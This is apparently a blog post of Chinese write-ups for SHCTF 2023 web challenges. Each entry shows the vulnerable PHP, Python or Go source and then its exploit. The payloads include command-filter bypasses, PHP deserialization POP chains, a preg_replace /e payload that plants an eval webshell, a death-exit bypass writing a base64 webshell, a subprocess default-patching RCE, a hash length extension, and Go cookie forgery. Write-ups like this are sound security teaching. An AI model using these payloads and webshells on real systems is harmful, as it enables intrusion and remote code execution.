# web

# [WEEK1]babyRCE

题目:

<?php
$rce = $_GET['rce'];
if (isset($rce)) {
    if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
        system($rce);
    }else {
            echo "hhhhhhacker!!!"."\n";
    }
} else {
    highlight_file(__FILE__);
}

过滤了很多,不过像 cat 这样类似读取文件的命令,都可以通过采用这种形式:c\at,来绕过过滤,或者可以使用 uniq 命令来读取,关于 uniq 命令可以查看这篇文章:

Linux uniq 命令

空格被过滤了,可以利用 %09 或者 $IFS 来绕过过滤。

payload:

/?rce=ls%09/
/?rce=c\at%09/fl??

# [WEEK1]1zzphp

题目:

<?php 
error_reporting(0);
highlight_file('./index.txt');
if(isset($_POST['c_ode']) && isset($_GET['num']))
{
    $code = (String)$_POST['c_ode'];
    $num=$_GET['num'];
    if(preg_match("/[0-9]/", $num))
    {
        die("no number!");
    }
    elseif(intval($num))
    {
      if(preg_match('/.+?SHCTF/is', $code))
      {
        die('no touch!');
      }
      if(stripos($code,'2023SHCTF') === FALSE)
      {
        die('what do you want');
      }
      echo $flag;
    }
}

分析源码,第一步需要给 num 传参,但不能为数字,但是后面的 intval 函数又要求必须是数字,所以采用传数组绕过。

由于使用 string () 函数将传入的参数 c_ode 转化为字符串,所以不能使用数组绕过正则,但 pcre.backtrack_limit 给 pcre 设定了一个回溯次数上限,默认为 1000000,如果回溯次数超过这个数字,preg_match 会返回 false

具体可以参考 p 神的博客:

PHP 利用 PCRE 回溯次数限制绕过某些安全限制

<?php
echo str_repeat('haha', '250000') . '2023SHCTF';

payload:

2023SHCTFGET:num[]=1
Post:c_ode=hahaha(......)2023SHCTF

# [WEEK1]ez_serialize

<?php
highlight_file(__FILE__);
class A{
  public $var_1;
  
  public function __invoke(){
   include($this->var_1);
  }
}
class B{
  public $q;
  public function __wakeup()
{
  if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
            echo "hacker";           
        }
}
}
class C{
  public $var;
  public $z;
    public function __toString(){
        return $this->z->var;
    }
}
class D{
  public $p;
    public function __get($key){
        $function = $this->p;
        return $function();
    }  
}
if(isset($_GET['payload']))
{
    unserialize($_GET['payload']);
}
?>

直接上链子:

<?php
class A{
    public $var_1='php://filter/convert.base64-encode/resource=flag.php';
}
class B{
    public $q;
}
class C{
    public $var;
    public $z;
}
class D{
    public $p;
}
$a=new B();
$a->q=new C();
$a->q->z=new D();
$a->q->z->p=new A();
echo urlencode(serialize($a));

?payload=O%3A1%3A%22B%22%3A1%3A%7Bs%3A1%3A%22q%22%3BO%3A1%3A%22C%22%3A2%3A%7Bs%3A3%3A%22var%22%3BN%3Bs%3A1%3A%22z%22%3BO%3A1%3A%22D%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A1%3A%22A%22%3A1%3A%7Bs%3A5%3A%22var_1%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7D%7D

得到后 base64 解码即可。

# [WEEK1] 登录就给 flag

点击登录,等待 3 秒,跳转到登录页面,尝试弱口令 admin 和 password,登录成功

# [WEEK1] 飞机大战

简单的前端 js 代码审计,提示分数大于 99999 就能拿到 flag 哦。

两种思路,一种是直接找 flag,另一种是修改分数。

可以在 main.js 中找到 won 函数:

var galf = "\u005a\u006d\u0078\u0068\u005a\u0033\u0073\u0035\u004d\u006d\u004a\u006b\u005a\u0057\u0055\u007a\u0059\u0079\u0030\u0030\u0059\u0054\u0068\u006d\u004c\u0054\u0051\u0031\u004d\u0054\u004d\u0074\u004f\u0057\u0049\u0034\u0059\u0079\u0031\u0069\u0059\u006d\u0056\u006a\u004f\u0054\u004e\u006a\u005a\u006a\u005a\u0069\u004e\u006a\u0042\u0039\u000a";
	alert(atob(galf));

unicode 编码,解码即可得到 flag,或者在控制台运行 won 函数。

修改分数可以在 if (scores>99999) 地方设置断点,然后将里面的 scores 变量改为大与 99999 就可以了。

# [WEEK1]ezphp

<?php
error_reporting(0);
if(isset($_GET['code']) && isset($_POST['pattern']))
{
    $pattern=$_POST['pattern'];
    if(!preg_match("/flag|system|pass|cat|chr|ls|[0-9]|tac|nl|od|ini_set|eval|exec|dir|\.|\`|read*|show|file|\<|popen|pcntl|var_dump|print|var_export|echo|implode|print_r|getcwd|head|more|less|tail|vi|sort|uniq|sh|include|require|scandir|\/| |\?|mv|cp|next|show_source|highlight_file|glob|\~|\^|\||\&|\*|\%/i",$code))
    {
        $code=$_GET['code'];
        preg_replace('/(' . $pattern . ')/ei','print_r("\\1")', $code);
        echo "you are smart";
    }else{
        die("try again");
    }
}else{
    die("it is begin");
}
?>

很显然把各种能用的 payload 过滤死了,但是没有关系,preg_match 强制要求第二个参数必须是 string,否则返回 false,但是 preg_replace 的参数都可以传入数组,所以可以采用数组绕过。

本题的考点就是 \e 的命令执行,具体可以参考这篇文章:

深入研究 preg_replace 与代码执行

payload:

code=$

pattern=\S.*

flag 就在配置文件中。

由于 preg_replace 中可操作性比较小,先直接释放一句话木马:

/?code[]={${eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(99).chr(109).chr(100).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(71).chr(69).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr( 39).chr(41).chr(59))}}
pattern=.*

文件内容为:

fputs(fopen('cmd.php','w'),'<?php eval($_GET[cmd])?>');

然后接下来就可以进行命令执行拿到 flag 了。

换句话来说,只要不出现单引号和双引号,命令就可以正常运行,所以也能用无参 rce 来做这题。

# [WEEK1] 生成你的邀请函吧~

题目要求:

API:url/generate_invitation  
Request:POST application/json  
Body:{  
    "name": "Yourname",  
    "imgurl": "http://q.qlogo.cn/headimg_dl?dst_uin=QQnumb&spec=640&img_type=jpg"  
}  
使用POST json请求来生成你的邀请函吧~flag就在里面哦~

随便用一个发包工具发包即可:

POST /generate_invitation   HTTP/1.1
Content-Type: application/json 
Host: 112.6.51.212:31690
{  
    "name": "p1kap1",  
    "imgurl": "http://q.qlogo.cn/headimg_dl?dst_uin=QQnumb&spec=640&img_type=jpg"  
}

得到一张图片,图片上面即为 flag。

# [WEEK2]no_wake_up

题目:

<?php
highlight_file(__FILE__);
class flag{
    public $username;
    public $code;
    public function __wakeup(){
        $this->username = "guest";
    }
    public function __destruct(){
        if($this->username = "admin"){
            include($this->code);
        }
    }
}
unserialize($_GET['try']);

简单的反序列化题,上链子:

<?php
class flag{
    public $username="admin";
    public $code="php://filter/convert.base64-encode/resource=flag.php";
}
$a=new flag();
echo serialize($a);

/wakeup.php?try=O:4:"flag":2:

解码得到 flag。

# [WEEK2]serialize

题目:

<?php
highlight_file(__FILE__);
class misca{
    public $gao;
    public $fei;
    public $a;
    public function __get($key){
        $this->miaomiao();
        $this->gao=$this->fei;
        die($this->a);
    }
    public function miaomiao(){
        $this->a='Mikey Mouse~';
    }
}
class musca{
    public $ding;
    public $dong;
    public function __wakeup(){
        return $this->ding->dong;
    }
}
class milaoshu{
    public $v;
    public function __tostring(){
        echo"misca~musca~milaoshu~~~";
        include($this->v);
    }
}
function check($data){
    if(preg_match('/^O:\d+/',$data)){
        die("you should think harder!");
    }
    else return $data;
}
unserialize(check($_GET["wanna_fl.ag"]));

三个考点,

第一个是构造 pop 链,musca:wakeup ()->misca:get ()->milaoshu:tostring (),唯一稍难的点在于如何从 get ()->__tostring (),tostring 的触发条件是当一个类对象被当作字符串时触发,那么显然我们想触发 tostring,需要利用 die 这个函数。

第二个考点就是我们在调用 die 函数之前调用了 miaomiao 这个方法,将 a 进行了提前赋值,所以为了让 a 为类 milaoshu,我们可以通过应用让它和 gao 指向同一位置。

第三就是绕过 check 函数,无非就是对 “O: 数字” 这样的形式进行了过滤,两种绕过方法,使用 + 或者直接使用 array 去序列化,但前者受 php 版本限制,所以一般更倾向于使用后者去绕过。

最后注意传参就行了。

<?php
class misca{
    public $gao;
    public $fei;
    public $a;
//    public function __get($key){
//        $this->miaomiao();
//        $this->gao=$this->fei;
//        die($this->a);
//    }
//    public function miaomiao(){
//        $this->a='Mikey Mouse~';
//    }
}
class musca{
    public $ding;
    public $dong;
//    public function __wakeup(){
//        return $this->ding->dong;
//    }
}
class milaoshu
{
    public $v="php://filter/convert.base64-encode/resource=flag.php";
}
//    public function __tostring(){
//        echo"misca~musca~milaoshu~~~";
//        include($this->v);
//    }
//function check($data){
//    if(preg_match('/^O:\d+/',$data)){
//        die("you should think harder!");
//    }
//    else return $data;
$a = new musca();
$a -> ding= new misca();
$a -> ding ->fei=new milaoshu();
$a -> ding ->gao=&$a ->ding->a;
$b = array($a);
echo serialize($b);

?wanna[fl.ag=a:1:{i:0;O:5:"musca":2:{s:4:"ding";O:5:"misca":3:{s:3:"gao";N;s:3:"fei";O:8:"milaoshu":1:{s:1:"v";s:52:"php://filter/convert.base64-encode/resource=flag.php";}s:1:"a";R:4;}s:4:"dong";N;}}

# [WEEK2]ez_rce

题目附件:

from flask import *
import subprocess
app = Flask(__name__)
def gett(obj,arg):
    tmp = obj
    for i in arg:
        tmp = getattr(tmp,i)
    return tmp
def sett(obj,arg,num):
    tmp = obj
    for i in range(len(arg)-1):
        tmp = getattr(tmp,arg[i])
    setattr(tmp,arg[i+1],num)
def hint(giveme,num,bol):
    c = gett(subprocess,giveme)
    tmp = list(c)
    tmp[num] = bol
    tmp = tuple(tmp)
    sett(subprocess,giveme,tmp)
def cmd(arg):
    subprocess.call(arg)
@app.route('/',methods=['GET','POST'])
def exec():
    try:
        if request.args.get('exec')=='ok':
            shell = request.args.get('shell')
            cmd(shell)
        else:
            exp = list(request.get_json()['exp'])
            num = int(request.args.get('num'))
            bol = bool(request.args.get('bol'))
            hint(exp,num,bol)
        return 'ok'
    except:
        return 'error'
    
if __name__ == '__main__':
    app.run(host='0.0.0.0',port=5000)

解释下这串代码:

这段代码是一个使用 Flask 构建的 Web 应用程序,它提供了两个主要功能:

  1. 命令执行:通过 URL 参数 exec 的值为 "ok" 时,执行一个 shell 命令。
  2. 子进程属性修改:通过 POST 请求将 JSON 数据发送到 / 路由,该 JSON 包含了一个属性的名称和需要修改的属性值。

以下是如何使用这个应用程序执行命令和修改子进程属性的示例:

  1. 命令执行:

    发送一个 GET 请求到 http://your-server:5000/?exec=ok&shell=your-command ,其中 your-command 是你要执行的命令。这将触发 cmd(shell) 函数,执行指定的命令。

  2. 修改子进程属性:

    发送一个 POST 请求到 http://your-server:5000/ ,并在请求的 JSON 数据中指定属性的名称(exp)、要修改的属性索引(num)以及要设置的属性值(bol)。服务器将调用 hint(exp, num, bol) 函数,以修改子进程属性。

通过网上的资料可以得知:

subprocess.call()
执行由参数提供的命令.
我们可以用数组作为参数运行命令,也可以用字符串作为参数运行命令(通过设置参数shell=True)
注意,参数shell默认为False
我们用subprocess.call()来做一个统计磁盘的例子:
subprocess.call(['df', '-h'])
下面的例子把shell设置为True
subprocess.call('du -hs $HOME', shell=True)

那现在大致明白这题的意思了,通过 hint 函数修改 subprocess.call () 函数中的 shell 为 true,再执行系统命令。

那就进入 subprocess 函数查看 call 函数是怎样构成的:

def call(*popenargs, timeout=None, **kwargs):
    """Run command with arguments.  Wait for command to complete or
    timeout, then return the returncode attribute.
    The arguments are the same as for the Popen constructor.  Example:
    retcode = call(["ls", "-l"])
    """
    with Popen(*popenargs, **kwargs) as p:
        try:
            return p.wait(timeout=timeout)
        except:  # Including KeyboardInterrupt, wait handled that.
            p.kill()
            # We don't call p.wait() again as p.__exit__ does that for us.
            raise

这段代码定义了一个高级的 call 函数,它使用 Popen 类来启动一个子进程,等待子进程完成,并返回命令的返回码。这个函数还支持设置超时,如果命令执行时间超过指定的超时时间,将引发超时异常。此外,它会处理异常,确保子进程被终止,然后再次引发异常。这使得在执行外部命令时能够更加安全和可控。

既然说他使用 Popen 类来启动,那就去 Popen 类看看:

class Popen(object):
    """ Execute a child program in a new process.
    For a complete description of the arguments see the Python documentation.
    Arguments:
      args: A string, or a sequence of program arguments.
      bufsize: supplied as the buffering argument to the open() function when
          creating the stdin/stdout/stderr pipe file objects
      executable: A replacement program to execute.
      stdin, stdout and stderr: These specify the executed programs' standard
          input, standard output and standard error file handles, respectively.
      preexec_fn: (POSIX only) An object to be called in the child process
          just before the child is executed.
      close_fds: Controls closing or inheriting of file descriptors.
      shell: If true, the command will be executed through the shell.
      cwd: Sets the current directory before the child is executed.
      env: Defines the environment variables for the new process.
      text: If true, decode stdin, stdout and stderr using the given encoding
          (if set) or the system default otherwise.
      universal_newlines: Alias of text, provided for backwards compatibility.
      startupinfo and creationflags (Windows only)
      restore_signals (POSIX only)
      start_new_session (POSIX only)
      pass_fds (POSIX only)
      encoding and errors: Text mode encoding and error handling to use for
          file objects stdin, stdout and stderr.
    Attributes:
        stdin, stdout, stderr, pid, returncode
    """
    _child_created = False  # Set here since __del__ checks it
    def __init__(self, args, bufsize=-1, executable=None,
                 stdin=None, stdout=None, stderr=None,
                 preexec_fn=None, close_fds=True,
                 shell=False, cwd=None, env=None, universal_newlines=None,
                 startupinfo=None, creationflags=0,
                 restore_signals=True, start_new_session=False,
                 pass_fds=(), *, encoding=None, errors=None, text=None):
        """Create new Popen instance."""
        _cleanup()
  • Popen 类是 subprocess 模块中的一个用于处理子进程的类。
  • 构造函数 __init__ 接受多个参数,用于配置子进程的行为和执行。这些参数包括:
    • args :指定要执行的命令及其参数的字符串或序列。
    • bufsize :用于设置标准输入、标准输出和标准错误的缓冲大小。
    • executable :可选的替代程序名称。
    • stdin , stdout , 和 stderr :指定执行程序的标准输入、标准输出和标准错误文件句柄。
    • preexec_fn :(仅限 POSIX)在子进程执行前调用的函数。
    • close_fds :控制文件描述符的关闭或继承。
    • shell :如果为 True ,则通过 shell 执行命令。
    • cwd :设置子进程的当前工作目录。
    • env :定义新进程的环境变量。
    • text :如果为 True ,则使用给定的编码(如果设置)或系统默认编码解码标准输入、标准输出和标准错误。
    • 其他参数用于配置 Windows 系统下的一些行为。
  • Popen 类的实例具有一些属性,包括 stdinstdoutstderrpidreturncode ,用于访问子进程的标准输入、标准输出、标准错误、进程 ID 和返回码。
  • _child_created 属性用于跟踪是否已经创建了子进程。

通常情况下 __defaults__ 是用于表示函数默认参数值的属性,

>>> subprocess.Popen.__init__.__defaults__
(-1, None, None, None, None, None, True, False, None, None, None, None, 0, True, False, ())

通过查看得知 shell 参数的值在第 8 个,所以只需要修改 7 下标为 True 就可以执行任意命令了。

15

可以看到 ok,

接下来就可以在 shell 参数中执行命令了,由于命令无回显,所以我们可以用 tee 命令或者 > 来将内容输出到一个文件中,需要注意的是这里无法直接在根目录中查看文件,所以我们新建一个目录:

/?exec=ok&shell=mkdir%20./static;ls%20/>./static/1.txt

这样再查看 /static/1.txt

bin
dev
etc
flag
home
lib
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var

最后 /?exec=ok&shell=cat%20/flag>./static/2.txt

即可。

# [WEEK2] MD5 的事就拜托了

题目:

<?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['SHCTF'])){
    extract(parse_url($_POST['SHCTF']));
    if($$$scheme==='SHCTF'){
        echo(md5($flag));
        echo("</br>");
    }
    if(isset($_GET['length'])){
        $num=$_GET['length'];
        if($num*100!=intval($num*100)){
            echo(strlen($flag));
            echo("</br>");
        }
    }
}
if($_POST['SHCTF']!=md5($flag)){
    if($_POST['SHCTF']===md5($flag.urldecode($num))){
        echo("flag is".$flag);
    }
}

首先我们得让 $$$scheme 为 "SHCTF" 才可得到 md5 加密后的 flag。

关于 parse_url 可以查看官方文档介绍:

parse_url

我们可以这样构造 SHCTF

SHCTF=query://SHCTF?host

这样首先 $scheme=query

query=host,query=host,host=SHCTF,就满足条件了。

然后 num 可以传入 1.001 绕过。

得到回显:

8c947bf286d25d0805797c171951504e
42

然后就是最后一块的绕过了,说白了就是 SHCTF 的值的和 flag 和 num 拼接的字符串 md5 加密后的值相等。

具体可以参考这篇文章:

Hash 拓展长度攻击原理剖析

工具可以用这个:https://github.com/shellfeel/hash-ext-attack

15

?length=%80%00%00%00%00%00%00%00%00%00%00%00%00%00P%01%00%00%00%00%00%0012

SHCTF=5834b838307ee5fca039ea91e47101c8

传入后即可得到 flag。

# [WEEK2]ez_ssti

这道题就是一道 python 的 SSTI,没有任何过滤,参数是 name,

可以参考这几篇文章:

SSTI(模板注入)漏洞(入门篇)

SSTI (模板注入) 解析 和 ctf 做法

细说 SSTI

尝试一下: { {7*'7'}} 回显是 7777777 ,判断是 Jinja2 模板 (如果回显是 49 则为 Twig 模板)

使用 <class 'flask.config.Config'> 类,payload:

15

# [WEEK2]EasyCMS

打开可以知道是 taoCMS ,可以搜一下

基本上都需要先登录到后台, 搜一个默认密码登进去后台

跳转的时候,改一下就行

http://.../admin/admin.php

再搜一下,taoCMS 的默认密码

账户admin
密码tao

在文件管理可以发现,可以目录穿越

根目录读 flag 就行

# [WEEK3] 快问快答

男:尊敬的领导,老师
女:亲爱的同学们
合:大家下午好!
男:伴着优美的音乐,首届SHCTF竞答比赛拉开了序幕。欢迎大家来到我们的比赛现场。

解题思路

看源码部分,可以看到一些提示

<body>
    <h1>SHCTF 快问快答</h1>
    <p class="message">连续答对50题得到flag<br></p class="message">
    <form method="POST">
        <h3>题目:7715 ÷ 2976 = ?</h3>
        <!-- tips: "与" "异或"  就是二进制的"与"   "异或" 运算 -->
        <!-- 怕写成^ &不认识( -->
        <input type="number" placeholder="请输入答案" name="answer" required>
        <button type="submit">提交</button>
    </form>
    <p>你已经答对了0题</p>
    <!-- 出错后成绩归零0 -->
    <p class="message"></p class="message">
</body>

测试可以知道,要求在题目刷新后的 1~2 秒之间回答

那肯定得用脚本做题了,注意本题的连续答对 50 次是不是对于整个容器,而是对用户分配了 token

所以不能只用 requests 库的 get,至少要用 requests 的 Session

做之前可以学习一下 re 库:

python re 库 详解 (正则表达式)

https://docs.python.org/zh-cn/3/library/re.html#functions

以下官方脚本:

import requests
import re
import time
url = 'http://112.6.51.212:32865/'
session = requests.session()
for i in range(50):
    # try:
    response = session.get(url,verify=False)
    x = response.text
    # 定义正则表达式模式
    pattern = r'<h3>(.*?)</h3>'
    # 使用 re 模块的 findall 方法匹配所有符合模式的字符串
    result = re.findall(pattern, x)[0].split('=')
    print(result)
    answer = eval(result[0][3:].replace('x','*').replace('÷','//').replace('异或','^').replace('与','&'))
    print(answer)
    data = {
        'answer': str(answer),
        }
    time.sleep(1)
    x2 = session.post(url,data=data)
    #print(x2.text)
    print(re.findall(r'<p>(.*?)</p>', x2.text))
    print(re.findall(r'<p class="message">(.*?)</p class="message">', x2.text))
    #print(x2.cookies)
print(x2.text)

再来看用 js 的做法,以下 exp 来自 未定义变量 师傅

setTimeout(() => {
    source = document.querySelector("body > form > h3").innerText.substr(3).split(' ');
    a = parseInt(source[0]); op = source[1]; b = parseInt(source[2]);
    calc = (a, op, b) => {
        if (op == 'x') {
            return a * b;
        } else if (op == '+') {
            return a + b;
        } else if (op == '-') {
            return a - b;
        } else if (op == '与') {
            return a & b;
        } else if (op == '÷') {
            return a / b;
        } else if (op == '异或') {
            return a ^ b;
        }
    }
    document.querySelector("body > form > input[type=number]").value = parseInt(calc(a, op, b)).toString();
    document.querySelector("body > form > button").click();
}, 500)

Nebula 师傅使用 selenium 库 模拟点击的脚本

import time
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
url='http://112.6.51.212:32321/'#修改 url 地址即可
driver = webdriver.Edge() # 使用 Edge 浏览器,可以根据需要选择其他浏览器driver.maximize_window() #窗口最大化
driver.get(url)
#访问登录页面
for i in range(50):
    problem=driver.find_element(By.TAG_NAME,'h3').text
    problem=problem[3:-3]
    print(problem)
    if '与' in problem:
        problem = problem.replace('与', '&')
    if '异或' in problem:
        problem = problem.replace('异或', '^')
    if '÷' in problem:
        problem = problem.replace('÷', '//')
    if 'x' in problem:
        problem = problem.replace('x', '*')
    #time.sleep(10)
    print('-------------------')
    result=eval(problem)
    print(result)
    print('-------------------')
    driver.find_element(By.TAG_NAME,'input').click()
    driver.find_element(By.TAG_NAME,'input').send_keys(result)
    time.sleep(1)
    driver.find_element(By.TAG_NAME,'button').click()
    a=driver.find_element(By.TAG_NAME,'p')
input("按 Enter 键关闭浏览器...")

真。长见识了.

# [WEEK3]sseerriiaalliizzee

<?php
error_reporting(0);
highlight_file(__FILE__);
class Start{
    public $barking;
    public function __construct(){
        $this->barking = new Flag;
    }
    public function __toString(){
            return $this->barking->dosomething();
    }
}
class CTF{ 
    public $part1;
    public $part2;
    public function __construct($part1='',$part2='') {
        $this -> part1 = $part1;
        $this -> part2 = $part2;
        
    }
    public function dosomething(){
        $useless   = '<?php die("+Genshin Impact Start!+");?>';
        $useful= $useless. $this->part2;
        file_put_contents($this-> part1,$useful);
    }
}
class Flag{
    public function dosomething(){
        include('./flag,php');
        return "barking for fun!";
        
    }
}
    $code=$_POST['code']; 
    if(isset($code)){
       echo unserialize($code);
    }
    else{
        echo "no way, fuck off";
    }
?> 
no way, fuck off

这道题的 pop 链很简单,通过 echo 函数触发 Start 类中的__toString 函数,再触发 CTF 类中的 dosomething 函数,最后通过 file_put_contents 写入文件即可,难点就在于绕过 die 死亡函数。

可以参考这篇文章:

探索 php 伪协议以及死亡绕过

可以用 strip_tags 绕过,因为死亡代码实际上是 XML 标签,既然是 XML 标签,就可以利用 strip_tags 函数去除它,而 php://filter 刚好是支持这个方法的。

但是要写入的一句话木马也是 XML 标签,在用到 strip_tags 时也会被去除。所以注意到在写入文件的时候,filter 是支持多个过滤器的。可以先将 webshell 经过 base64 编码,strip_tags 去除死亡 exit 之后,再通过 base64-decode 复原。

<?php
class Start{
    public $barking;
}
class CTF{
    public $part1;
    public $part2;
}
class Flag{
}
$a=new Start();
$b=new Flag();
$c=new CTF();
$a->barking=$b;
$a->barking=$c;
$c->part1='php://filter/string.strip_tags|convert.base64-decode/resource=a.php';
$c->part2='PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pg==';
echo serialize($a);
?>

或者不使用 strip_tags 标签,直接用 base64 解码,前面部分由于乱码不会执行,但是得注意 base64 算法解码时是 4 个 byte 一组

除去 <?!" 空格;这些不在 base64 表里的字符还剩下 26 个字符 ,需要凑两个字符组成 28 个字符 7 组

<?php
class Start{
    public $barking;
}
class CTF{
    public $part1;
    public $part2;
}
class Flag{
}
$a=new Start();
$b=new Flag();
$c=new CTF();
$a->barking=$b;
$a->barking=$c;
$c->part1='php://filter/convert.base64-decode/resource=a.php';
$c->part2='aaPD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pg==';
echo serialize($a);
?>

传入后访问 a.php,使用蚁剑连接即可,密码 shell。

# [WEEK3]gogogo

这道题涉及到 go 代码审计,简单审计下代码:

//main.go
package main
import (
	"main/route"
	"github.com/gin-gonic/gin"
)
func main() {
	r := gin.Default()
	r.GET("/", route.Index)
	r.GET("/readflag", route.Readflag)
	r.Run("0.0.0.0:8000")
}

分析一下,就是给了两个路由。

//route.go
package route
import (
	"github.com/gin-gonic/gin"
	"github.com/gorilla/sessions"
	"main/readfile"
	"net/http"
	"os"
	"regexp"
)
var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))
func Index(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] != "admin" {
		session.Values["name"] = "user"
		err = session.Save(c.Request, c.Writer)
		if err != nil {
			http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
			return
		}
	}
	c.String(200, "Hello, User. How to become admin?")
}
func Readflag(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] == "admin" {
		c.String(200, "Congratulation! You are admin,But how to get flag?\n")
		path := c.Query("filename")
		reg := regexp.MustCompile(`[b-zA-Z_@#%^&*:{|}+<>";\[\]]`)
		if reg.MatchString(path) {
			http.Error(c.Writer, "nonono", http.StatusInternalServerError)
			return
		}
		var data []byte
		if path != "" {
			data = readfile.ReadFile(path)
		} else {
			data = []byte("请传入参数")
		}
		c.JSON(200, gin.H{
			"success": "read: " + string(data),
		})
	} else {
		c.String(200, "Hello, User. How to become admin?")
	}
}

可以看到,这里将判断是否携带了 cookie,如果 cookie 中的 name 为空,就将其设置为 user。并且有一个细节,无论是否是管理员,根路由永远都会返回

想到需要伪造 session

上面通过获取环境变量中的 SESSION_KEY 来获取生成 secure cookie 。只能对 SESSION_KEY 进行猜测,猜测并未设置 SESSION_KEY。在本地运行程序,将 SESSION_KEY 置为空从而伪造 cookie。

这里将 route.go 修改一下

var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))
func Index(c *gin.Context) {
        session, err := store.Get(c.Request, "session-name")
        if err != nil {
                http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
                return
        }
        if session.Values["name"] == "" {
                session.Values["name"] = "admin"
                err = session.Save(c.Request, c.Writer)
                if err != nil {
                        http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
                        return
                }
        }
        c.String(200, "Hello, User. How to become admin?")
}

之后在附件目录

命令行 go run main.go

在此之前由于 go 语言的特性,得设置以下代理

可以参考这篇文章:

go 语言:环境变量 GOPROXY 和 GO111MODULE 设置

go env -w GOPROXY=https://goproxy.io,direct

之后访问 127.0.0.1:8000 获取 session

得到 session

MTY5NjU4NDE0OHxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXysV4NxGfmmxi8T_k5RdAIUVa9tJvZeKhYCyAgeuPTHYA==

然后就是 readflag 路由下面,如何读取 flag

先来看 readfile.go 的实现

package readfile
import (
        "os/exec"
)
func ReadFile(path string) (string2 []byte) {
        defer func() {
                panic_err := recover()
                if panic_err != nil {
                }
        }()
        cmd := exec.Command("bash", "-c", "strings  "+path)
        string2, err := cmd.Output()
        if err != nil {
                string2 = []byte("文件不存在")
        }
        return string2
}

用的 bash 终端下的 string 函数

再去看正则过滤

reg := regexp.MustCompile(`[b-zA-Z_@#%^&*:{|}+<>";\[\]]`)

if reg.MatchString(path) {

    http.Error(c.Writer, "nonono", http.StatusInternalServerError)
    return
}

var data []byte
if path != "" {
    data = readfile.ReadFile(path)
} else {
    data = []byte("请传入参数")
}

没过滤 /?a

直接用 /??a? 匹配,或者 /????

也就是直接访问

http://112.6.51.212:32997/readflag?filename=/??a?

即可

更新于

请我喝[茶]~( ̄▽ ̄)~*

p1kap1 微信支付

微信支付

p1kap1 支付宝

支付宝

p1kap1 贝宝

贝宝